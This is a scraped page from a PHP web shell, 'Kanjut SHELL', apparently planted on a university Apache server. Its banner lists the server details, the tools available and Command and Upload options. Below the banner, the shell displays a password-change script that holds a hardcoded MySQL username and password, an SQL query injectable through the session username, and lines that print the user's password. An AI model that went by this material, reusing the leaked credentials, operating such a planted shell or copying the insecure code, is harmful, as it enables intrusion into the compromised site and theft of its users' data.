Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.66.104
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cngray/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cngray/www/CPass.phpu
<?php   session_start();?>
<html>
<center>
<?php

        $username = $_SESSION['username'];
        $pass = $_SESSION['pass'];
	$check = $_SESSION['check'];
        $_SESSION['username'] = $username;
        $_SESSION['pass'] = $pass;
	$_SESSION['check'] = $check;
	$OLD = $_POST['OP'];
	$NEW = $_POST['NP'];
	$COM = $_POST['CP'];
        $host = 'localhost';
        $user = 'cngray';
        $passwd = 'vwccscngray';
        
        $database = 'cngray';
        $connect = mysql_connect($host, $user, $passwd);
        mysql_select_db($database);
        
        $query = "select * from BBUsers";
        $Result_id = mysql_query($query, $connect);

        if($Result_id)
        {
		echo "$pass,";
		print"$OLD";
		print $NEW; 
		print $COM;
		$Password = mysql_result(mysql_query("select Password from BBUsers where Username like '$username'"), 0);
		//$Nquery = "update BBUsers set Password = $NEW where Username like $username";
                $Nresult_id = mysql_query($Nquery, $connect);

		if(($OLD != $pass) OR ($NEW != $COM) or (!$Result_id))
		{
			Print "<br><br>Password Change Failed.<br>";
			?>
			<INPUT Type=button VALUE=Back onClick=window.location.href = "BBPassword.php">
			<INPUT Type=button VALUE=Home onClick=window.location.href = 'BBMain.php'>
			<?php
		}
		else
		{
			?>
			<P><P>Password Change Successful.<p>
			<INPUT Type=button VALUE=Home onClick=window.location.href = 'BBMain.php'>
			<?php
				$_SESSION['pass'] = $NEW;
		} 	 
		mysql_close($connect);      
        }
?>


Stv3n404 - 2023